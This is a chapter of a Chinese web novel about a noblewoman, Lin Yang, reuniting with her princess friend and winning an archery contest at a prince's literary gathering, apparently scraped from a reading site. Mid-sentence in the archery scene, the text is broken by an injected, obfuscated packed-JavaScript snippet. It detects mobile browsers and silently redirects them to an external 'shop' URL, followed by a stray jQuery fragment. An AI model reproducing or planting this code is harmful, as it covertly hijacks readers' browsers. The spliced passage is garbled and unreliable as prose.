默认冷灰
24号文字
方正启体

5. 我一定会回来的!

作者:BlackFox本书字数:K更新时间:
    【林国公夫妇为了促进你和小婴儿之间的感情,特意让奶娘把孩子抱给你看。但听不懂话的小孩子总是在哭,哭得人心烦意乱】


    林漾凶道,“你好烦,能不能别整天哭哭哭的?”


    襁褓里的小孩哭得更凶了。


    奶娘道,“小姐不知婴儿都是这般的,长大些就好了。”


    林漾没理会,她弯腰戳了戳小婴儿的脸蛋,“你要是识趣,现在就给我闭嘴。”


    或许是感受到了来自亲姐姐的杀意,小孩立刻就吧嗒吧嗒嘴,把眼泪憋回去了。


    一旁的奶娘婆子们看得目瞪口呆,这大小姐,未免也太厉害了。


    【你打发金角去告诉郡主,自己过两日想去找她们玩】


    【郡主知道你要来,高兴得不得了,特意给你下了絮山文会的拜帖】


    【你离开京城三年多,这是第一次出席这种活动,忽然感觉挺新奇的】


    “漾漾!这里!”


    【头号跟班小郡主亲密地向你招手,你一走过来,她便没骨头似地靠在你身上。】


    林漾无奈,“不过是三年没见,至于这样?”


    李惠敏撒娇,“古人说一日不见如隔三秋,我们三年没见,早已经不知道过了多少年了。”


    林漾掐了掐她的脸蛋,“就你嘴贫,倒也不见你来信。还是澈儿来信多。”


    澈儿是尚书家的千金,大名叫赵云澈。


    小郡主撇撇嘴,“我写一封信要多久,澈儿写一封要多久?你又不是不知道?”


    林漾当然知道,郡主不仅字写得一般,速度也慢,更没什么文采,叫她三四日便来一封信也确实太为难人了。


    “那你口述,让旁人代笔不就好了?”


    “那怎么行?我写信是我的心意,要是这么干不是糟蹋了我的心意?”李惠敏道理一套一套的,林漾无法便道,“好,你说的都对,你的心意我收到了。不瞒你说,我每天都把你的信拿出来瞧瞧呢。”


    郡主惊喜道,“真的?”


    “自然是真的。对了,澈儿今天怎么没来?”


    “她母亲病了,她也不好出门玩。”


    林漾附和道,“我那有一株六百年的山参,等晚些叫人给伯母送过去,也算是尽尽小辈的心意。”


    李蕙敏小鸡啄米似地点头,拨弄起她身上挂着的玉坠、玉佩、金穗子。


    “对了,寿王爷怎么忽然办起文会了?”林漾悄声问。


    郡主仰脸道,“我父王有两个门生考中了进士,他高兴,便办了这场文会。”她手一指,“他们坐在另一个看台,和女眷不同席。”


    “我以为你会知道我不爱参加这类文会,听他们来回恭维,怪没意思的。”林漾说,“我前儿让金角给你送了一把好弓,你可喜欢?”


    李蕙敏道,“我岂会不知道你?要是真像寻常文会一样无趣,不用你说,我定不肯带你过来。”


    林漾好奇,“哦?这次有什么好玩的?”


    “我父王这次办的文会不仅有艺文切磋,还有投壶、射靶子、射绸,而且这三项都有彩头。”李蕙敏狡黠地眨眼,“你要参加吗?我只在信上听你说学了武,而且现在非常威猛,还没缘分亲眼看看呢。”


    林漾唇角微勾,“那我今天就好好地露两手给你瞧瞧如何?”


    李惠民拽着林漾的手起身,“好,那我也要给你露两手,让你瞧瞧我在京城这三年也有好好练习的。”


    【文会的发起者寿王准时到达了絮山看台】


    【文会正式开始了】


    寿王举杯笑道,“今日邀诸位来此,为的是欣赏这絮山的风光。还请不要拘礼,尽兴而归才好啊!”


    众人便跟着举杯,附和着说一些场面话。


    寿王的目光不停往看台下方瞟,前两天女儿央求他在这次文会加上射靶子、射绸两项,他以为是小姑娘家想在众人面前出出风头。虽说不大合礼数,但他就这么一个宝贝女儿,宠着些也无妨。


    可他找了好几圈,也没在箭道上看见女儿的身影。


    不应该啊……


    【寿王的疑惑是对的,小郡主本来想立刻下去露一手,但被你拦住了】


    林漾拉着她喝茶,“咱们等最后再下场。”


    郡主不解,“为什么?“


    林漾道,“等一会他们认为自己要拔得头筹的时候,你我下场一箭射碎他们的美梦,这多有意思啊。”


    郡主小猫似的圆眼睛写满了崇拜,“漾漾,你真是一肚子坏水。”


    林漾屈指弹了一下她的额头,“我就当你是在夸我。”


    *


    寿王此次邀请的宾客除了今年考中进士的学生们,还有不少王公贵族。当然了,这种场合座位也是相当讲究的,有官职在身的宾客坐在一起,刚考中的进士们坐在一起。


    一个清俊公子对旁边的人悄声说:“温兄,这就是我与你提及的寿王殿下。今日这场文会殿下还特意加了射绸活动,你要不要也去射两把?”


    温梦安婉拒道,“我并非京城人,不善射箭,多谢冯兄好意。”


    冯渊内心感慨:温梦安才华出众、长相不俗,此次更是一举夺魁,真乃人中龙凤。就算他现在穿着一身布衣长袍位于其间也丝毫不违和。只可惜他家里是那个光景,哎,实在是投错了胎。


    温梦安不知道同窗在想什么,他只觉得这群人讨论地热火朝天,甚是聒噪。好在絮山的景色实在是美,对着山水饮茶听琴、顺便看看箭术比试,也不算浪费时光。


    不知是谁喊了一句:“殿下,郡主下场了!”


    所有人都将目光投向箭道。


    【射靶子比赛刚刚开始,你和小郡主本来商量好了要压轴下场。但前几个射的好的公子恰好有郡主的死对头——冯鸿,她气不过,先下场了】


    【下场前她叮嘱你:“漾漾,我估计比不过那个冯鸿。等一会我输了你再下来。全京城的人都知道你与我是最好的,我等你给我找回场子!】


    林漾无奈笑笑,小家伙对自己的箭法还是心里有数的,但未免也太相信她了。


    林漾坐在看台上,只见李蕙敏瞄准靶子、干脆利落地拉弓,箭刺破空气——啪!正中靶心!


    “好!”两边的看台上传来一阵喝彩声。


    李蕙敏眉飞色舞,冲着林漾的方向眨眼。


    寿王看见女儿如此潇洒,嘴角疯狂上扬,心想不愧是我的女儿!


    林漾则隔空对她比了个大拇指。


    小郡主得到回应,满意地收回目光,“把靶子撤下去,换成彩绸。”她抬了抬下巴,挑衅冯鸿


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480827|201726||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,“你敢不敢和我比这个?”


    冯鸿是冯国公的嫡长子,如今被封为世子,身份尊贵,对此也没什么怕的,“比就比,郡主若是输了还请不要哭鼻子才好。”


    远远的,看台上的冯诚捂脸。


    温梦安自然注意到了异常,他问:“怎么了冯兄?”


    冯渊面无表情,“现在与郡主比试的是我的兄长。如果我猜的没错,他估计要输。这不是上赶着自己把脸送给人家打吗?”


    温梦安也有分神看比试,那冯鸿三次连中靶心,箭术理应在郡主之上。


    于是他说:“若是按刚才郡主和冯公子的表现,谁输谁赢还未可知,冯兄怎么认定世子会输?”


    冯诚解释:“不是郡主,是另一个人。郡主这样有底气估计是那人回来了,温兄接着看就知道了。”


    他这话说的不清不楚的,反而勾起了温梦安的兴趣。


    很快,高高挂起的十多个彩绸笔直地竖立在箭道末尾,随着风呼呼作响。


    寿王身边的清客拍马屁,“今日风大,射绸实在是有难度。郡主小小年纪便练得这一身好本领,殿下大喜啊。”


    寿王没出声,他大约知道女儿的后手是谁了。


    箭道上,冯鸿深吸一口气,缓缓抬起手中的长弓,搭箭上弦。他的动作行云流水,一气呵成。


    冯鸿拉满弦,手臂上的青筋若隐若现,却未曾丝毫颤抖。


    “咻”的一声清脆的弦响划破长空,直逼红绸而去——箭矢命中红绸,红绸的碎片随风飞舞,缓缓落在地上。


    不仅如此,在第一块红绸后方的第二块青绸也破了一角,若说他一箭射中两块,也说得过去。


    冯鸿得意地冲着李蕙敏挑挑眉,做了一个请的手势,“还请郡主带我开开眼。”


    李蕙敏没想到这家伙的箭术竟然精进了这么多,自己现在就算一下子射中一块,也要落于他的下风了。


    小郡主推辞:“本郡主今日乏了,还是让其他人让你涨涨见识,知道什么叫人外有人吧。”


    【李蕙敏转过头,用恳切的目光望向你】


    林漾不懂她为什么自讨苦吃,就一直射靶子呗,以她对这两人的了解,就算射到天黑也不一定能分出来胜负,非要挑战高难度动作。


    【你在众人的目光下来到箭道】


    【李蕙敏就像老母鸡来撑腰了的小鸡仔,站在你身旁,笑得比花还灿烂】


    林漾接过李蕙敏的金色长弓,学着冯鸿方才的动作对他挑眉,“那就请冯世子瞧好了。”


    只见女子挽弓搭箭,双目微眯,姿势要多随意有多随意。


    李蕙敏以为她还在准备,正要悄声说些鼓励的话,谁成想一道白色的闪电飞速离去——


    第一块赤绸最先被箭尖贯穿,绸布炸裂,碎片尚未飞散,箭矢已带着余力穿透第二块青绸,紧接着是第三块蓝绸,最后一块黄绸甚至来不及被风卷走便被箭尾的金羽钉穿。


    箭矢余势未消,竟将后方三丈外的木杆射得嗡嗡作响,箭尾的金羽仍在剧烈颤动,仿佛在宣泄着刚才那一击的凌厉。


    风停了。


    两边看台上的宾客清晰地听见这位娇小姐笑道,“冯世子,承让了。”


    这哪里是承让,分明是把人按在地上反复摩擦!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)